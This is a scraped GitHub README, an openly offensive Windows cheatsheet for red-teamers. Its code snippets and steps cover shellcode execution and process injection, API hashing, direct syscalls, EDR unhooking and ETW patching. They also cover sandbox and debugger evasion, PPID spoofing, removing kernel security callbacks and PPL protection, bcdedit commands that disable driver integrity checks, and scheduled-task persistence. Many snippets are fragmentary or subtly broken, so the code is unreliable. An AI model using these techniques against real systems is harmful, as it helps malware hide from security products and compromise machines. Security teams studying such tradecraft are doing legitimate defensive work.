Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?


Failed to load latest commit information.
Latest commit message
Commit time

Win32 Offensive Cheatsheet

Win32 and Kernel abusing techniques for pentesters & red-teamers made by @UVision and @RistBS

Dev mode enabled, open to any help :)

Windows Binary Documentation

Useful tools and Websites/Books/Cheatsheet

PE Structure

PE Headers

  • DOS_HEADER : First Header of PE, contains MS DOS message ("This programm cannot be run in DOS mode...."), MZ Header (Magic bytes to identify PE) and some stub content.
  • IMAGE_NT_HEADER : Contains PE file signature, File Header and Optionnal Header
  • SECTION_TABLE : Contains sections headers
  • SECTIONS : Not a header but useful to know : these are sections of the PE

Details :

Parsing PE

Simple PE parsing to retrieve IAT and ILT absolute address:

  • Obtain base address : GetModuleHandleA(NULL);
  • PIMAGE_DOS_HEADER = base address, dos header
  • IAT absolute address : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA IAT) + BaseAddress
  • ILT absolute address : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA ILT) + BaseAddress

Export Address Table (EAT)

The EAT Resolves all functions that are exported by the PE & resolves also DLLs. It Defined in IMAGE_EXPORT_DIRECTORY structure:

typedef struct _IMAGE_EXPORT_DIRECTORY {
		DWORD Characteristics;
		DWORD TimeDateStamp;
		WORD  MajorVersion;
		WORD  MinorVersion;
		DWORD Name;   // name of DLL
		DWORD Base;   // first ordinal number
		DWORD NumberOfFunctions; // number of entries in EAT
		DWORD NumberOfNames; // number of entries in (1) (2)
		DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
		DWORD AddressOfNames;   // Pointer array contains address of function names
		DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)

Resolve function address

Using function address

What do you wait ? Find this function !

Using ordinal number

An ordinal number is an index position to the corresponding function address in AddressOfFunctions array. It can be used to retrieve the correct address of function, like below :

Let's try to find the corresponding address (Addr4) with given ordinal number 3.

  • AddressOfFunctions : Addr1 Addr2 Addr3 Addr4 .... AddrN
  • AdressOfNameOrdinals : 2 5 7 3 ... N

The address we are looking for is on 3th position (from 0), and our ordinal number corresponds to the index of this address.

Using function name

The Nth element in AddressOfNames array corresponding to the Nth element in AddressOfNameOrdinals array : using a given name, you can retrieve the corresponding ordinal number, and proceed to find the function address using this number.

Import Address Table (IAT)

  • The PE loader doesn't know what address is corresponding to which function (again more with ASLR) : Let's call IAT to save us
  • Defined in IMAGE_IMPORT_DIRECTORY struct:
    DWORD	Characteristics; 
    DWORD	OriginalFirstThunk;	// RVA to ILT
    DWORD	TimeDateStamp;	
    DWORD	ForwarderChain;
    DWORD	Name; 		        // RVA of imported DLL name
    DWORD	FirstThunk;             // RVA to IAT

Parsing IAT

  1. Obtain RVA of IAT
  2. Parse trough IMPORT_DESCRIPTOR structure : Name member is the RVA of the name of current DLL
  3. To get the real DLL name : find it in ILT (originalFirstThunk+BaseAddress)
  4. To get exported functions of current DLL : PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

Detailed code example here :

Import Lookup Table

Every DLLs imported by PE has its own ILT.

Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

It contains all functions name that are in imported DLL.

Enable SeDebug Privilege

The SeDebug privilege is the "most wanted" priv in all the Windows privileges list. It allow you to "debug" any authorized process, which can be translated as several offensives actions, like opening a handle with PROCESS_ALL_ACCESS privileges.

To enable it in usermode, you will need to use a function such as :

void EnableDebugPriv()
    HANDLE hToken;
    LUID luid;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);


This function will open your current process token, then adjust it to SE_PRIVILEGE_ENABLED privilege, wich is corresponding to the target privilege.

Execute some binary

Classic shellcode execution

Code sample :

DLL Execute

This technique had some good successful bypass rates few years ago; however, because of increasing number of EDR and other endpoint solutions, writing on disk should as possible be avoided.

Code sample :

Raw File To PE

You can execute some raw binary file in memory by allocate its size space in a memory region :

SIZE_T size = GetFileSize(binfile,NULL);
HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);

Code injection techniques

CreateRemoteThread injection

Simply write your shellcode in previously allocated memory space inside the target process. (Not OPSEC)

Code sample :

Process Hollowing

Process Hollowing is made in several steps :

  • Create the targeted process ("hollowed" one) in suspended mode : it is needed to modify it
  • Unmap the targeted process from its PEB (You must declare this structure first)
  • Write the content of the new exe in this process : headers + content
  • Parse and apply relocation table
  • Let the process continue to run in its thread
  • Enjoy

Complete POC can be found here :

APC Queue Technique

Inject your shellcode in all available threads in a process, then use QueueUserAPC() function to query an APC call. This technique can not be reliable when there are no many threads in the compromised process.

Code sample :

Early Bird

Similar to APC Queue injection, here the APC call must be set in a suspended process. The created process main thread is then resume; the main advantage of this technique is that avoiding writing the shellcode in a running process will be less detected by AV/EDRs.

Code sample :

Reflective DLL Injection

As with the "static" dll injection (by using dll file), you can inject your own DLL in most processes by reflecting it in memory. It has the advantage to easily bypass some AV/EDrs products despite it's a quite flagged way today.

You must first allocate memory and do some reloc work to make it works.

The well-knowned Poc about this technique was published by stephenfewer :

Dll injection

You can inject some code stored in a dll in a remote process. Unfortunately, EDRs product will likely catch it easily, especially if malicious dll touch the disk.

Code sample :

Process Doppelganging

Process Doppelganging was until a few years an untected method of launching your own payload into some tricky way. It has been demonstrated at BlackHat 2017 by Tal Liberman and Eugene Kogan, see their amazing work :

It is an "intermediate" step before the process hollowing technique : the PE image is indeed overwrited before to get executed, so the WindowsLoader make the Process Hollowing for us (so cool, right ?).

Hasherezade has maked some cool POC of this technique, availabe here :


Fibers can be defined as cooperatively threads ( It allows the main program to execute the shellcode trough this new thread type.

Code sample :

MapView code injection

This technique allow you to share a view of a memory section in your malicious process with another remote process, which will execute your shellcode stored in this view. It can be done by using NtCreateSection/NtMapViewOfSection, avoiding you to use heavily monitored proc like WriteProcessMemory() or VirtualAlloc() (however, NtMapViewOfSection can be also monitored).

Code example :

Module Stomping

This technique cause your beacon to be backed by a module on disk

CHAR moduleName[]  = "\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection 	   += 0x1000 * 0x2;
RXSection  	   += 0xc;
char* ptr 	    = ( char* )RXSection;

to detect module stomping (especially for Cobalt Strike) a scanner was released named DetectCobaltStomp to highlight some IoCs of the technique, but the author of Brute Ratel managed to improve the original technique.

Function Stomping

Simply replace the original function address (obtained with GetProcAddress) with the new one. This technique is well detailed by his author :

Hooking techniques

Inline hooking

Inline hooking is the most basic way to hook a function : it simply consists to redirect the API call to your own function (jump)

Code sample :

IAT hooking

By modifying the corresponding function address to a pointer on your own function, you can make the programm executing your own code.

It can be done by following several steps :

  • Find the relative address of IAT
  • Parse the IAT to find the function you want to hook
  • Replace this function address ("patch") with the adress of your function
  • Enjoy

Code sample :

RE Bypass techniques

Call and Strings obfuscation

There are several techniques you can use to hide your calls to win32 api, here are some of them:

  • Use char[] array to splice your function/dll names into multiple chars
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte

You can even combine this trick with some ASCII char code convert.

Manual function resolve

You can manually resolve a pointer to any function of kernel32, ntdll and so more.

  • First declare the template of your function, based on the real function header :
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
  • Then resolve a pointer to the function :
myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess"));

Don't hesitate to combine this technique with some strings obfuscation to avoid passing the real func name in plaintext.

Win32 API Hashing

You can hide your API function calls by hash them with some hash algorithm (djb2 is the most used), be careful of hash collision that are possible with some special funcs. Then combine this technique with a direct address resolving in EAT, and let reversers cry :)

EDR/Endpoint bypass

Direct Syscall

Most EDR products will hook win32 api calls in user mode (PatchGuard strongly decrease kernel hooks availability). To avoid these hooks, you can directly call Nt() equivalent to your api functions.

	SysNtCreateFile proc
			mov r10, rcx //syscall convention
			mov eax, 55h //syscall number : in this case it's NtCreateFile
			syscall //call nt function
	SysNtCreateFile endp

Find the right syscall number at this table :

  • Build the Function Prototype using NTSTATUS
	PHANDLE FileHandle, 
	ACCESS_MASK DesiredAccess, 
	POBJECT_ATTRIBUTES ObjectAttributes, 
	PLARGE_INTEGER AllocationSize, 
	ULONG FileAttributes, 
	ULONG ShareAccess, 
	ULONG CreateDisposition, 
	ULONG CreateOptions, 
	PVOID EaBuffer, 
	ULONG EaLength);
  • Resolve the NT address
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

Code sample :

High Level Languages

C++/C are often more flagged by AV/EDR products than high level equivalent languages : use Go, Rust or other language to craft your best templates,

Patch Inline Hooking

Simply (re) hook your hooked functions by apply the right function call:

Detect hooks

To detect hooks, you'll first get the base address of the NTDLL with LoadLibrary, then you will parse the PE headers to locate EAT (IMAGE_EXPORT_DIRECTORY) and its offsets which will contain all the important information (exported functions + name). just resolve function names & addresses while iterating through exported functions and apply the following if statements to sort functions

  • sort functions to get only Nt or Zw functions
if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }

⚠️ : some functions are false positive I recommand you to detect them :

        if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
             strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
              strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
               strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                 strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                  strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
  • for the last if statement, check if the first 4 bytes of functionName is equal to mov r10, rcx; mov eax, ## which is the beginning of the syscall stub
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }

Code sample:

Patch ETW

Event Tracing for Windows (ETW) is a logging low-level API which can be used for debugging/logging kernel and usermode process. It has been first implemented in Windows 2000, but realtime monitoring is really available since Windows XP.

ETW API is available from headers files provided by Microsoft :

In a pentest operation, you should care about this functionality by patching it : the most used way is to write arbitrary ret opcodes into the ETW event writing function (EtwEventWrite) to avoid logs be writing somewhere.

Code sample : //

Sandbox Bypass

Sandbox are quite used by AV/EDRs to test some API calls and other part of code before to really execute your programm. There are several techniques to avoid this tool, here are some of them below :

  • Wait. Seriously. Such function as Sleep() or time.sleep() or equivalent will do the job, for some seconds before to execute the real shellcode.
  • Try to allocate lot of memory (malloc), like 100000000 bytes.
  • Try to detect if you are actually in a sandbox (VM) environnement : test for open process,files and others suspicious things.
  • Try to resolve a fake (not working) URL : many AVs products will respond with fake page.
  • Use strange and rarely used Api calls, like VirtualAllocExNuma() most sandbox cannot emulate this type of call.
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

Debugging Bypass

Not a real AV evasion technique, but still useful to avoid being reversed too easily by RE engineers. There are so many ways to detect or make debuggers crazy, but here are some of them below :

Flags way

You can use IsDebuggerPresent() (Win32) or direct call NtQueryInformationProcess() (not so very documented) to check for debug flags.

Handles way

Try to close invalid (missing) handles with CloseHandle() API. The debugger will try to catch the exception, which can be easily detected :

bool Check() //
        return false;
    __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()
        return true;

ASM way

Try to make an INT 3 call (ASM) : it's an equivalent to a software breakpoint, which will trigger a debugger. There are so many other ways to detect any debugger, a lot of them are compiled at :

VirtualProtect technique

By using some tricks with VirtualProtect() you can easily avoid been flagged in-memory : change between PAGE_EXECUTE_READWRITE and PAGE_READWRITE (less suspicious) to avoid triggering your favorite AV.

Fresh Copy Unhook

Avoid hooks by replacing the "hooked" ntdll by a fresh one, directly mapped from the disk.

Code sample : // to add

Hells Gate

To avoid using hardcoded syscalls, Hell's Gate (Hells Gates ?) retrieve them dynamically by parsing EAT (compare memory bytes to syscall opcodes). The original Poc has been made by the great VX-Underground team, and can be found here :

Another one example :

Heavens Gate

Use Wow64 to inject 64 bits payload in 32 bits loader. Can be useful to bypass some AV/EDRs because Wow64 will avoid you to be catch in userland.

The most known version of this technique has been created by the MSF team, see their awesome work here :


By abusing CreateThreadPoolWait(), which can accept a pointer to a callback function, you can execute your shellcode through this proc. Lot of similar techniques (using a callback function pointer) are available at :

Example :

//code from

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 

int main()
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	return 0;

Thread Hijacking

Hijack a thread into a remote process by suspend it, then replace its RIP register (or EIP if you are in x86) with your own shellcode address.

Code example :

PPID Spoofing

When a suspicious/anormal process start below a "legit" or unattended process parent, it become very suspicious. Think about a malicious Word macro which deploy a powershell process : such strange, right ?

PPID Spoofing can avoid that by allowing you to modify the parent process id (PPID) of your spawned process.

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

//code from :
int main() 
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;

Process Instrumentation Callback

Process Instrumentation Callback is defined as the ProcessInstrumentationCallback flag (0x40) and is used by security products to detect potential direct syscall invocation by registering a callback to check if the syscall instruction comes from the executable image and not NTDLL. To bypass it for our process we just have to set Callback to NULL


InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

it's still "undocumented" by microsoft but Alex Ionescu has documented it here and Everdox has also done so here

Full code to bypass instrumentation here :

Heap Encryption

Walk the heap with HeapWalk and then encrypt the allocations :

VOID HeapEncryptDecrypt() {
    SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
    while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
        if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
            XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );

more informations here:

Sleep Obfuscation

Many PoCs around sleep obfuscation came out with different mechanisms (UM APCs, TP and more) here we take as example Ekko which is the most easiest PoC to understand.

the ROP chain of Ekko is very simple, it changes memory prot. to RW, encrypt the region with SystemFunction032 which implement RC4, Sleep with WaitForSingleObject, Decrypt the region and switch again the prot. to RWX. Finally, it queues all CONTEXT with CreateTimerQueueTimer

Some scanners like TickTock or Patriot has been released to detect that but you can avoid them by using a trampoline to NtContinue in NTDLL with gadget and replacing Rip register in ROP chain

Driver Programming basics

General concepts

Driver are used to execute code in kernel mode rather than in user mode. It is a powerful technique to bypass all usermode hooks and monitoring which were set by AV/EDRs. It can be also used to bypass kernel callbacks and other kernel monitoring.

The code of any driver must be verified (any warning should be treated as an error) to ensure it will be crash-free (You don't want to cause BSOD during pentest, right ?).

Few years ago, Microsoft decided to ban unsigned drivers from his operating system : you must disable it before to load your own driver, or use any vulnerability (like to disable driver signing.

In a real pentest, you must find any vulnerable driver and profit:)

System Service Dispatch Table (SSDT)

SSDT, or System Service Dispatch Table is a table (obvious) which can resolve by its current index the corresponding Nt function. When any usermode call is made, it is resolved as below :

  • OpenProcess (Win32 API function is called)
  • NtOpenProcess (Resolved in ntdll.dll)
mov r10, rcx
mov eax, 26 

ntdll contains system call procedures for each Nt function

  • 26 is the service system number : it is an index in the SSDT that resolves the address of the kernel NtOpenProcess function.
  • Kernelmode NtOpenProcess is called, and communicate with I/O as a part of a driver.

SSDT is defined in a Service Descriptor Table :

typedef struct tagSERVICE_DESCRIPTOR_TABLE {
    SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself
    SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table

SSDT is/was often hooked by rootkits as it was possible to modify the corresponding address to their own functions. Patchguard has disabled this possibility, unless in case of some internal vulnerability.

Many antivirus products are also using this trick today, probably by using the same techniques than evil hackers;)

Driver entry

Driver entry proc is defined as below :

#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {

It is very important to use UNREFERENCED_PARAMETER() macro on DriverObject and RegistryPath parameters, unless they are referenced by adding some code later.


Input Output

Use MajorFunction IRP_MJ_CREATE and IRP_MJ_CLOSE to act as "interrupt" to communicate with your driver from client-side.

DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

Then define your CreateClose function :

CreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {

	DbgPrint("[+] Hello from FirstDriver CreateClose\n");

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);

Complete sample code here : //

Communicate with the driver

User-mode applications send IOCTLs to drivers by calling DeviceIoControl, which is described in Microsoft Windows SDK documentation. Calls to DeviceIoControl cause the I/O manager to create an IRP_MJ_DEVICE_CONTROL request and send it to the topmost driver (

The userland app must use DeviceIoControl (ioapiset.h) function to communicate with a driver. It will be used to send various requests to its Device object.

Simple sample code here : //todo

Driver signing

As described in General concepts section, drivers must be signed before to install on a Windows system. Despite the fact you must use some driver or kernel exploit to bypass it (Gigabyte driver CVE for example), you can still disable it manually:

bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

Then restart your computer. Obviously you need local admin rights on the machine you want to execute these command. As a restart is needed, this not OPSEC at all.

Custom Callbacks

ObRegisterCallbacks (wdm.h) allow you to defined "custom" callbacks that can be used to modify behavior of a usermode app when being triggered by a specific operation, like CreateProcess/OpenProcess (Handle create).

Basically, Ob Callbacks are defined with a OB_OPERATION_REGISTRATION array, which will be filled with OB_CALLBACK_REGISTRATION struct (filled with callbacks).

Example to trigger on OpenProcess/CreateProcess :

OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 };
OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles
obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles
obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code
obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks
	if (!NT_SUCCESS(status_register)) {
		DbgPrint("[-] Error while trying to register callbacks\n");
	else {

		DbgPrint("[+] Registering callbacks !\n");

process_ob_pre_op_callbacks is a user defined function which will be called when the the callback will be intercepted, and therefore can disallow or allow the operation.

OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle

Note : My_PROCESS_ALL_ACCESS can be defined as #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (win32 hexa code).

Offensive Driver Programming

Patch kernel callback

Kernel Callbacks were introduced by Microsoft mainly to offer a better way to AVs/EDRs editors to monitor and prevent suspicious actions (Before them, lot of security products were using kernel mode patching like SSDT hooks to do the same job, but the new PatchGuard protection constrained them to use this new solution).

They are several types of kernel callbacks, especially :

- ProcessNotify : called when a process is created or exits.
- ThreadNotify : called when a thread is created or exits (is deleted).
- LoadImageNotify : called when some executable image is loaded by an other exe (example : DLL loaded by a process)

Each of them has its associated function, such as PsSetCreateProcessNotifyRoutineEx to set them in your driver. The latter register a callback routine as a new process is created or deleted in the Windows system. Its prototype is defined as below :

NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  [in] BOOLEAN                           Remove

PCREATE_PROCESS_NOTIFY_ROUTINE_EX is a pointer to the callback routine which will be called when the event will be triggered (here, process created/exits). Remove is a simple flag which indicate if PsSetCreateProcessNotify will register the callback function or delete it (useful in your driver's cleanup function).

The callback function will use this prototype :

void OnProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,

where Process is the current process being created/deleted, ProcessId is the id of this process, and CreateInfo is a structure that contains various info about this process.

When a driver registers a new callback routine, its address will be stored in an array usually named Pspname_of_your_callback. For example, the list of all ProcessNotifyRoutine functions is stored in the PspCreateProcessNotifyRoutine array.

To remove such callbacks, you will simply need to empty this array !

Unfortunately, the address of this so exciting array does not have any direct way to be retrieved. Fortunately, they are many ways to do so manually, by searching for some specific offsets in memory.

Once you find the right address, you can enumerate all callbacks registered and filter them by driver name (Sysmon driver maybe ?:)), and only remove the corresponding callback functions in the list.

Patch Protected Process

Protected Processes were introduced with Windows Vista. It can be defined as a struct named EPROCESS (undefined : which define if the process is protected or not with three interesting members :

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : Ptr64 Void
   +0x6c8 SignatureLevel   : UChar //signature integrity of exe
   +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe
   +0x6ca Protection       : _PS_PROTECTION

The third member (Protection) is a PS_PROTECTION struct which is defined as below :

  +0x000 Level            : UChar
  +0x000 Type             : Pos 0, 3 Bits
  +0x000 Audit            : Pos 3, 1 Bit
  +0x000 Signer           : Pos 4, 4 Bits

To remove PPL protection, you must set SignatureLevel,SectionSignatureLevel and Protection to 0.

As the offset between EPROCESS base address and PS_PROTECTION is 0x6c8, you can retrieve it by additionate the two values.

Example code : //todo

Using Win32 API to increase OPSEC


Scheduled Tasks

Note : Several examples from this part were retrieved from :

The "conventional" way of scheduling any task in Windows OS requires going through the graphical interface (Task Scheduler). It is not so pratical for us, as we often obtain only a command line session to a compromised system.

Fortunately, Win32 API can be used to create such tasks, allowing you to make some great persistence for your beacon, or privesc.

Basically, you need to initialize COM library, then create a new instance of the ITaskService class with CoCreateInstance() API. You can now edit your ITaskService object to edit root folder, action, time, and so more. Here are an example below :

 This sample schedules a task to start Notepad.exe 30 seconds after
 the system is started. 

#define _WIN32_DCOM

#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
//  Include the task header file.
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain()
    //  ------------------------------------------------------
    //  Initialize COM.
    if( FAILED(hr) )
        printf("\nCoInitializeEx failed: %x", hr );
        return 1;

    //  Set general COM security levels.
    hr = CoInitializeSecurity(

    if( FAILED(hr) )
        printf("\nCoInitializeSecurity failed: %x", hr );
        return 1;

    //  ------------------------------------------------------
    //  Create a name for the task.
    LPCWSTR wszTaskName = L"Boot Trigger Test Task";

    //  Get the Windows directory and set the path to Notepad.exe.
    wstring wstrExecutablePath = _wgetenv( L"WINDIR");
    wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";

    //  ------------------------------------------------------
    //  Create an instance of the Task Service. 
    ITaskService *pService = NULL;
    hr = CoCreateInstance( CLSID_TaskScheduler,
                           (void**)&pService );  
    if (FAILED(hr))
          printf("Failed to create an instance of ITaskService: %x", hr);
          return 1;
    //  Connect to the task service.
    hr = pService->Connect(_variant_t(), _variant_t(),
        _variant_t(), _variant_t());
    if( FAILED(hr) )
        printf("ITaskService::Connect failed: %x", hr );
        return 1;

    //  ------------------------------------------------------
    //  Get the pointer to the root task folder.  
    //  This folder will hold the new task that is registered.
    ITaskFolder *pRootFolder = NULL;
    hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
    if( FAILED(hr) )
        printf("Cannot get Root Folder pointer: %x", hr );
        return 1;
    //  If the same task exists, remove it.
    pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );
    //  Create the task builder object to create the task.
    ITaskDefinition *pTask = NULL;
    hr = pService->NewTask( 0, &pTask );

    pService->Release();  // COM clean up.  Pointer is no longer used.
    if (FAILED(hr))
          printf("Failed to create a task definition: %x", hr);
          return 1;
    //  ------------------------------------------------------
    //  Get the registration info for setting the identification.
    IRegistrationInfo *pRegInfo= NULL;
    hr = pTask->get_RegistrationInfo( &pRegInfo );
    if( FAILED(hr) )
        printf("\nCannot get identification pointer: %x", hr );
        return 1;
    hr = pRegInfo->put_Author(L"Author Name");
    if( FAILED(hr) )
        printf("\nCannot put identification info: %x", hr );
        return 1;

    //  ------------------------------------------------------
    //  Create the settings for the task
    ITaskSettings *pSettings = NULL;
    hr = pTask->get_Settings( &pSettings );
    if( FAILED(hr) )
        printf("\nCannot get settings pointer: %x", hr );
        return 1;
    //  Set setting values for the task. 
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    if( FAILED(hr) )
        printf("\nCannot put setting info: %x", hr );
        return 1;

    //  ------------------------------------------------------
    //  Get the trigger collection to insert the boot trigger.
    ITriggerCollection *pTriggerCollection = NULL;
    hr = pTask->get_Triggers( &pTriggerCollection );
    if( FAILED(hr) )
        printf("\nCannot get trigger collection: %x", hr );
        return 1;

    //  Add the boot trigger to the task.
    ITrigger *pTrigger = NULL;
    hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
    if( FAILED(hr) )
        printf("\nCannot create the trigger: %x", hr );
        return 1;
    IBootTrigger *pBootTrigger = NULL;
    hr = pTrigger->QueryInterface( 
        IID_IBootTrigger, (void**) &pBootTrigger );
    if( FAILED(hr) )
        printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
        return 1;

    hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
    if( FAILED(hr) )
       printf("\nCannot put the trigger ID: %x", hr);
    //  Set the task to start at a certain time. The time 
    //  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
    //  For example, the start boundary below
    //  is January 1st 2005 at 12:05
    hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
    if( FAILED(hr) )
       printf("\nCannot put the start boundary: %x", hr);
    hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
    if( FAILED(hr) )
       printf("\nCannot put the end boundary: %x", hr);

    // Delay the task to start 30 seconds after system start. 
    hr = pBootTrigger->put_Delay( L"PT30S" );
    if( FAILED(hr) )
        printf("\nCannot put delay for boot trigger: %x", hr );
        return 1;

    //  ------------------------------------------------------
    //  Add an Action to the task. This task will execute Notepad.exe.     
    IActionCollection *pActionCollection = NULL;

    //  Get the task action collection pointer.
    hr = pTask->get_Actions( &pActionCollection );
    if( FAILED(hr) )
        printf("\nCannot get Task collection pointer: %x", hr );
        return 1;
    //  Create the action, specifying it as an executable action.
    IAction *pAction = NULL;
    hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
    if( FAILED(hr) )
        printf("\nCannot create the action: %x", hr );
        return 1;

    IExecAction *pExecAction = NULL;
    //  QI for the executable task pointer.
    hr = pAction->QueryInterface( 
        IID_IExecAction, (void**) &pExecAction );
    if( FAILED(hr) )
        printf("\nQueryInterface call failed for IExecAction: %x", hr );
        return 1;

    //  Set the path of the executable to Notepad.exe.
    hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
    if( FAILED(hr) )
        printf("\nCannot set path of executable: %x", hr );
        return 1;
    //  ------------------------------------------------------
    //  Save the task in the root folder.
    IRegisteredTask *pRegisteredTask = NULL;
    VARIANT varPassword;
    varPassword.vt = VT_EMPTY;
    hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t( wszTaskName ),
            _variant_t(L"Local Service"), 
    if( FAILED(hr) )
        printf("\nError saving the Task : %x", hr );
        return 1;
